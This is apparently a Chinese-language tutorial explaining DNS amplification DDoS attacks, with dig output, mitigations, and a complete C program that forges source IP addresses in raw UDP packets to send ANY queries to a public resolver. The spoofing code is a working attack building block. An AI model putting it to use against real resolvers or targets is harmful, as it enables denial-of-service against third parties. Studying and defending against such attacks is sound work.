DNS Amplification Attack
摘要
DNS Amplification Attack是一种基于反射的DDoS攻击,攻击者借助DNS服务器,产生更大的流量让目标服务器或网络瘫痪,从而达到拒绝服务的效果。
DDoS 的分类
根据攻击目标和所属的层次,可以将 DDoS 攻击大体分为三类:
- 针对网络带宽资源的DDoS攻击,如ICMP Flood、UPD Flood、DNS Amplification Attack。
- 针对连接资源的DDoS攻击,如Slow Attack。
- 针对计算资源的攻击DDoS,如SYN Flood。
其实这样分类并不一定准确,如ICMP Flood、UPD Flood也可能耗尽计算资源,SYN Flood也可能耗尽带宽资源。针对网络带宽的DDoS攻击是最古老而常见的一种DDoS攻击方式,DNS Amplification Attack就是其中一种。无论是服务器的网络接口带宽,还是路由器、交换机等互联网基础设施的数据包处理能力,都是存在着事实上的上限的。当到达或通过的网络数据包数量超过了这个上限时,就会出现网络拥堵、响应缓慢的情况。针对网络带宽资源的DDoS攻击就是根据该原理,利用广泛分布的僵尸主机发送大量的网络数据包,占满被攻击目标的全部带宽,从而使正常的请求无法得到及时有效的响应,造成拒绝服务。
DDoS 反射攻击
攻击者可以使用 Ping Flood、UDP Flood等方式直接对被攻击目标展开针对网络带宽资源的DDoS攻击,但这种方式不仅低效,还很容易被查到攻击的源头。虽然攻击者可以使用伪造源IP地址的方式进行隐藏,但更好的方式是使用DDoS反射攻击技术。DDoS反射攻击是指利用路由器、服务器等设施对请求产生应答,从而反射攻击流量并隐藏攻击来源的一种DDoS技术。
在进行DDoS反射攻击时,攻击者通过控制端控制大量僵尸主机发送大量的数据包。这些数据包的特别之处在于,其目的IP地址指向作为反射器的服务器、路由器等设施,而源IP地址则被伪造成被攻击目标的IP地址。反射器在收到数据包时,会认为该数据包是由被攻击目标所发来的请求,因此会将响应数据发送给被攻击目标。当大量的响应数据包涌向攻击目标时,就会造成拒绝服务攻击。发动DDoS反射攻击需要在互联网上找到大量的反射器,对于某些种类的反射攻击,这并不难实现。例如,对于ACK反射攻击,只需要找到互联网上开放TCP端口的服务器即可,而这种服务器在互联网上的存在是非常广泛的。相比于直接伪造源地址的DDoS攻击,DDoS反射攻击由于增加了一层反射步骤,更加难以追溯攻击来源。
DDoS反射攻击原理图
DDoS 放大攻击
DDoS放大攻击是DDoS反射攻击的一种特殊形式。简单的说,当使用的反射器对网络流量具有放大作用时,DDoS反射攻击就变成了DDoS放大攻击。不同之处在于反射器(放大器)所提供的网络服务需要满足一定条件。
- 响应数据量需要大于请求数据量。
响应数据量与请求数据量的比值越大,放大器的放大倍数也就越大,进行DDoS放大攻击的效果也就越明显。
- 使用无需认证或握手的协议。
DDoS放大攻击需要将请求数据的源IP地址伪造成被攻击目标的IP地址,如果使用的协议需要进行认证或者握手,则该认证或握手过程没有办法完成,也就不能进行下一步的攻击。因此,绝大多数的DDoS放大攻击都是用基于UDP协议的网络服务进行攻击。
- 使用广泛部署的网络服务。
如果存在某些网络服务,不需要进行认证并且放大效果非常好,但是在互联网上部署的数量很少,那么利用该网络服务进行放大也不能打出很大的流量,达不到DDoS攻击的效果,这种网络服务也就不具备作为DDoS放大攻击放大器的价值。比如NTP协议,只能作为辅助手段增大攻击流量。
DNS Amplification Attack
DNS Amplification Attack是一种针对网络带宽资源的DDoS放大(反射)攻击, 攻击者利用普通的DNS查询请求就能够将攻击流量放大2到10倍。
// 在这里,发出去的数据帧大小是66字节,而收到的数据帧却有246字节
dig any qq.com @114.114.114.114
75 4.816483 10.0.47.204 114.114.114.114 DNS 66 Standard query 0x5ce7 ANY qq.com
76 4.851260 114.114.114.114 10.0.47.204 DNS 246 Standard query response 0x5ce7 ANY qq.com A 58.60.9.21 A 59.37.96.63 A 180.163.26.39 MX 30 mx1.qq.com MX 10 mx3.qq.com MX 20 mx2.qq.com NS ns2.qq.com NS ns1.qq.com NS ns4.qq.com NS ns3.qq.com
在没有EDNS0以前,对DNS查询的响应数据包被限制在512字节以内。当需要应答的数据包超过512字节时,根据DNS服务实现的不同,可能会丢弃超过512字节的部分,也可能会使用TCP协议建立连接并重新发送。无论是哪种方式,都不利于进行DNS放大攻击。
// 被丢弃了
Euphie-MacBook-Air:~ Euphie$ dig any txt1.euphie.me @114.114.114.114
; <<>> DiG 9.8.3-P1 <<>> any txt1.euphie.me @114.114.114.114
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 2257
;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 0
;; QUESTION SECTION:
;txt1.euphie.me. IN ANY
;; Query time: 36 msec
;; SERVER: 114.114.114.114#53(114.114.114.114)
;; WHEN: Mon Nov 5 21:54:10 2018
;; MSG SIZE rcvd: 32
// 被截断,要求TCP重连
Euphie-MacBook-Air:~ Euphie$ dig any txt1.euphie.me @8.8.4.4
;; Truncated, retrying in TCP mode.
; <<>> DiG 9.8.3-P1 <<>> any txt1.euphie.me @8.8.4.4
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 64756
;; flags: qr rd ra; QUERY: 1, ANSWER: 3, AUTHORITY: 0, ADDITIONAL: 0
;; QUESTION SECTION:
;txt1.euphie.me. IN ANY
;; ANSWER SECTION:
txt1.euphie.me. 599 IN TXT "DyfNY2yWbhpLFeuTK0JhKEiPSvw7QBbj2VblZCQ5foAVmm6S7SaEwFwHS3n8wuSsu50xJbf2Mah6swATF1coms2lJ9A8gINA3DBuEhyFGhUITOiU1amJI834gu1rynGxIXTstr8PvbTVzfooCKAKWBZMSHdz0X7dZECIw0RZ9VVaWH8aXFJ5bxQqIKgee5ihhE9Nj8gHElIGRwXZlVCMeiEY5amth3sus8cTRe1LwN3V8YxjM0kQAiN8uJVxd9X" "DllKB71HG0GsTImYPpHLgIzPiqcKphuM2ZjVg3nIwyhy1ypuxxX8Z3sraTq4oA5doHzJtqjAlLPRfA4NdmkBP49NoDt0L18XYX9oE1Z7fDW84TyTaBNUIcNBge6R9kFxTISf8ZDQhZEj5Nb16HbKvz3kMBPP8uFHccCMKrBXTCGm9Gji8n6cjjNraRLMTYF2rOvdAOOlUOnarB81DtKDx1pCE2CVXls1XUm5rVpFSOqG7W4sJ4CleViaNBZFFA5" "Ww"
txt1.euphie.me. 599 IN TXT "yrD6pC2Dvka22a0pp87ClszWJjO6es9HykhlkWhDs8iAVSX69bdSrL22DFhE3USjl6LGnFA1DXBXaIjRuLH0h7JjtjJKIjQHS0FkGGa3DXrFmUhzmiFlbJGQpDc13pi3pfH7qmjd9ICojWqbywSWDSWRZRzK6fG2TsKMTtWRNUabcD8Nn9oCh0YyLuiz8n5DmKRDpKjRFt31XmmCtq3LZNVBLyKUOmAred3fmf89s0I5UEg6EJSNFTu2GgH63eD" "d3ShkQuinfDrqeZQkLBu27NWsWGz0zr4cubNnIIhmmyJXlBLa0j4gS7qi5jHsjd9K2g96KsHm675tkE76cb6XThfw25MVo9WwdjcVjGW9BzVLgF91zs99qZ6IauRPnsMKqIqTmuBM9D4VPG8QimzfcSb3NYr5pvoypY0QYHuSLfVQl5kWiSGHF67SiJcYIxKdPxIt0Q32BPzgxoCGi9YrSPmhwYPPUkZ9KYjq5nhbnYzLOgpO2vyLRYjyQo0yUK" "3X"
txt1.euphie.me. 599 IN TXT "AQDCuSXg57asOQ9p6mQhSiQNqgyiQJjen5VTtoa4RKUW7Os7ULhDt6CyUYfkPkBbQiCT5Q41OWgqoL25Lhx4gx9wojnEdHPox2dHR3JLET26CMryOKN6YxmCdXVSbLqAa4mNnMbeSAmOIhnEFimlLJl69k7g8jzjfv80qTVrmmR8xbI2hok1kcXhi7GM8Vn7hDiaoD31kRf6pe5ySdAx14sp6s0iGHIKxoLYjR62hAN2P9ojyRnIMTT2t05HIJS" "bQsUGWEY2kHVbulFI0ZxVHgmvfuVGjXZIAO01a7em6MhOHBVvF27gDCi8xXXFnXezE7zwr3CceDB2YFQ9qRWBQEj1Gg2oFIP7FnqWoYD1IOCZYBMpCOCKGJ86wdNLKGtGqQV5cJDZazQSLMwEjdKxtQjWzfcNb44peYWnl8GkGBfCzRRRGzAZ2CekrY7A3N4IKv8LTCkuw96QwPjdFwXqxw4Yge3utgwlrJ3yMQ0YnrbeRn5PyIJR7ppRcBtIBM" "vB"
;; Query time: 84 msec
;; SERVER: 8.8.4.4#53(8.8.4.4)
;; WHEN: Mon Nov 5 21:52:24 2018
;; MSG SIZE rcvd: 1613
在EDNS0中扩展了DNS数据包的结构,增加了OPT RR字段。在OPT RR字段中,包含了客户端能够处理的最大UDP报文大小的信息。服务端在响应DNS请求时,解析并记录下客户端能够处理的最大UDP报文的大小,并根据该大小生成响应的报文。
DNS Amplification Attack示意图
实现
以下是DNS Amplification Attack在Mac OS下的C语言简单实现。主要用到了原始套接字(SOCK_RAW),SOCK_RAW是一种不同于SOCK_STREAM、SOCK_DGRAM的套接字,它实现于系统核心。利用原始套接字,可以通过IP_HDRINCL套接字选项由用户构造IP头。总体来说,SOCK_RAW可以处理普通的网络报文之外,还可以处理一些特殊协议报文以及操作IP层及其以上的数据。若设置IP_HDRINCL选项,SOCK_RAW可以操作IP头数据(也就是用户需用填充IP头及其以上的payload)。
//
// main.c
// dns-flood
//
// Created by Euphie on 2018/10/30.
// Copyright © 2018年 Euphie . All rights reserved.
//
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/ip.h>
#include <netinet/udp.h>
#include <arpa/inet.h>
#include <unistd.h>
#define DNS_NAME "qq.com"
#define SOURCE_IP "10.0.8.97"
#define DNS_SERVER "114.114.114.114"
// DNS头部
typedef struct
{
unsigned short id;
unsigned short flags;
unsigned short qcount;
unsigned short ans;
unsigned short auth;
unsigned short add;
} DNS_HEADER;
// DNS查询,其实一个QUESTION前面还包含了qname
typedef struct
{
unsigned short qtype;
unsigned short qclass;
} DNS_QUESTION;
// IP伪头,用来计算校验和
typedef struct
{
u_int32_t source_address;
u_int32_t dest_address;
u_int8_t placeholder;
u_int8_t protocol;
u_int16_t udp_length;
} PSEUDO_HEADER;
// 创建一个DNS头部
void create_dns_header(DNS_HEADER* dns)
{
dns->id = (unsigned short) htons(getpid());
dns->flags = htons(0x0100);
dns->qcount = htons(1);
dns->ans = 0;
dns->auth = 0;
dns->add = 0;
}
// www.google.com会变成3www6google3com
void format_dns_name(char* format, char* host)
{
int lock = 0 , i;
strcat((char*)host,".");
for(i = 0 ; i < strlen((char*)host) ; i++)
{
if(host[i]=='.')
{
*format++ = i-lock;
for(;lock<i;lock++)
{
*format++=host[lock];
}
lock++;
}
}
*format++='\0';
}
// 计算校验和
unsigned short calculate_checksum(unsigned short *ptr,int nbytes)
{
register long sum;
unsigned short oddbyte;
register short answer;
sum=0;
while(nbytes>1) {
sum+=*ptr++;
nbytes-=2;
}
if(nbytes==1) {
oddbyte=0;
*((u_char*)&oddbyte)=*(u_char*)ptr;
sum+=oddbyte;
}
sum = (sum>>16)+(sum & 0xffff);
sum = sum + (sum>>16);
answer=(short)~sum;
return(answer);
}
//4.1.1. Header section format
//
//The header contains the following fields:
//
//1 1 1 1 1 1
//0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5
//+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
//| ID |
//+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
//|QR| Opcode |AA|TC|RD|RA| Z | RCODE |
//+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
//| QDCOUNT |
//+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
//| ANCOUNT |
//+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
//| NSCOUNT |
//+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
//| ARCOUNT |
//+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
//4.1.2. Question section format
//
//The question section is used to carry the "question" in most queries,
//i.e., the parameters that define what is being asked. The section
//contains QDCOUNT (usually 1) entries, each of the following format:
//
//1 1 1 1 1 1
//0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5
//+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
//| |
/// QNAME /
/// /
//+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
//| QTYPE |
//+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
//| QCLASS |
//+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
void create_dns_data(char* dns_data, unsigned long* dns_data_len) {
// 设置DNS头部
DNS_HEADER* dns_header; // DNS头部
dns_header = (DNS_HEADER*)dns_data;
create_dns_header(dns_header);
// 设置DNS查询,一个查询包含qname、qtype和qclass
char* qname; // qname
char dns_name[100] = DNS_NAME;
qname =(char*)&dns_data[sizeof(DNS_HEADER)];
format_dns_name(qname, dns_name);
DNS_QUESTION* dns_question; // qtype和qclass
dns_question =(DNS_QUESTION*)&dns_data[sizeof(DNS_HEADER) + (strlen((const char*)qname) + 1)];
dns_question->qtype = htons(255);
dns_question->qclass = htons(1);
*dns_data_len = sizeof(DNS_HEADER) + (strlen((const char*)qname) + 1) + sizeof(DNS_QUESTION);
}
// 通过UDP发送DNS查询
void query_with_udp_packet() {
// 创建DNS报文
char dns_data[1000];
unsigned long dns_data_len;
create_dns_data(dns_data, &dns_data_len);
// 准备查询
int fd;
struct sockaddr_in dest;
fd = socket(AF_INET , SOCK_DGRAM , IPPROTO_UDP);
dest.sin_family = AF_INET;
dest.sin_port = htons(53);
dest.sin_addr.s_addr = inet_addr(DNS_SERVER); //dns servers
if( sendto(fd, (char*)dns_data, dns_data_len , 0 ,(struct sockaddr*)&dest,sizeof(dest)) < 0)
{
perror("sendto failed\n");
}
}
// 通过原始报文发送DNS查询
void query_with_raw_packet() {
// 数据报文的结构:IP头(20字节)+UDP头(8字节)+DNS报文
char datagram[4096];
// 定义一个IP头指针指向报文
struct ip *ip_header = (struct ip*) datagram;
// 创建DNS报文
char dns_data[1000];
unsigned long dns_data_len;
create_dns_data(dns_data, &dns_data_len);
memcpy(datagram + sizeof (struct ip) + sizeof(struct udphdr), dns_data, dns_data_len);
// 定义一个UDP头指针指向UDP报文位置,并设置UDP头
struct udphdr *udp_header = (struct udphdr *) (datagram + sizeof (struct ip));
udp_header->uh_dport = htons(53);
udp_header->uh_sport = htons(9999);
udp_header->uh_ulen = htons(sizeof(struct udphdr) + dns_data_len);
udp_header->uh_sum = 0;
// 目标地址结构
struct sockaddr_in dest;
dest.sin_family = AF_INET;
dest.sin_port = htons(53);
dest.sin_addr.s_addr = inet_addr(DNS_SERVER);
// 开始设置IP头
char source_ip[32];
strcpy(source_ip, SOURCE_IP);
ip_header->ip_hl = 5;
ip_header->ip_v = IPVERSION;
ip_header->ip_tos = IPTOS_PREC_ROUTINE;
ip_header->ip_len = sizeof (struct ip) + sizeof(struct udphdr) + dns_data_len;
ip_header->ip_id = htons(getpid());
ip_header->ip_off = 0;
ip_header->ip_ttl = MAXTTL;
ip_header->ip_p = IPPROTO_UDP;
ip_header->ip_src.s_addr = inet_addr (source_ip);
ip_header->ip_dst.s_addr = dest.sin_addr.s_addr;
ip_header->ip_sum = calculate_checksum((unsigned short *) datagram, ip_header->ip_len);
// 计算UDP校验和
PSEUDO_HEADER psd_header;
psd_header.source_address = ip_header->ip_src.s_addr;
psd_header.dest_address = ip_header->ip_dst.s_addr;
psd_header.placeholder = 0;
psd_header.protocol = IPPROTO_UDP;
psd_header.udp_length = htons(sizeof(struct udphdr) + dns_data_len);
int psize = (int)(sizeof(PSEUDO_HEADER) + sizeof(struct udphdr) + dns_data_len);
char* psd_data;
psd_data = malloc(psize);
memcpy(psd_data , (char*) &psd_header , sizeof ( PSEUDO_HEADER));
memcpy(psd_data + sizeof( PSEUDO_HEADER) , udp_header , sizeof(struct udphdr) + dns_data_len);
udp_header->uh_sum = calculate_checksum((unsigned short*) psd_data , psize);
int s;
if ((s = socket(AF_INET, SOCK_RAW, IPPROTO_UDP)) < 0) {
perror("socket failed.\n");
}
const int on = 1;
if (setsockopt(s, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) < 0) {
perror("setsockopt failed.\n");
}
if (sendto (s, datagram, ip_header->ip_len , 0, (struct sockaddr *) &dest, sizeof (dest)) < 0)
{
perror("sendto failed.\n");
}
}
int main() {
// query_with_udp_packet();
int i;
for(i=0; i< 10; i++) {
query_with_raw_packet();
sleep(1);
}
printf("done.\n");
}
防护
- 对开放DNS服务的设备进行防护
- 如非必要,则应该关闭这些服务。
- 尽量只响应内部请求。
- 丢弃超大的响应数据包。
- 对伪造源IP地址的数据包进行过滤
攻击者能够发送伪造源IP地址的数据包,这是针对网络带宽资源的DDoS攻击能够产生的根本原因。通过伪造源IP地址,不仅能够发动反射DDoS反射攻击和DDoS放大攻击,还能够有效的隐藏攻击来源,降低攻击者面临的风险。能够对伪造源IP地址的数据包进行过滤,使其不能进入到互联网中,就能够从根本上解决针对网络带宽资源的DDoS攻击问题。
- 使用Anycast技术对攻击流量进行稀释和清洗
使用Anycast技术进行防护是一种可行的方案。通过使用Anycast技术,可以有效的将攻击流量有效分散到不同地点的清洗中心进行清洗。在正常环境下,这种方式能够保证用户的请求数据被路由到最近的清洗中心,当发生DDoS攻击时,这种方式能够将攻击流量有效的稀释到防护方的网络设施中。此外,每一个清洗中心都声明了相同的IP地址,攻击流量不会向单一位置聚集,攻击情况从多对一转变为多对多,网络中就不会出现单点瓶颈。在攻击流量被稀释之后,清洗中心对流量进行常规的清洗和阻断就变得相对容易了。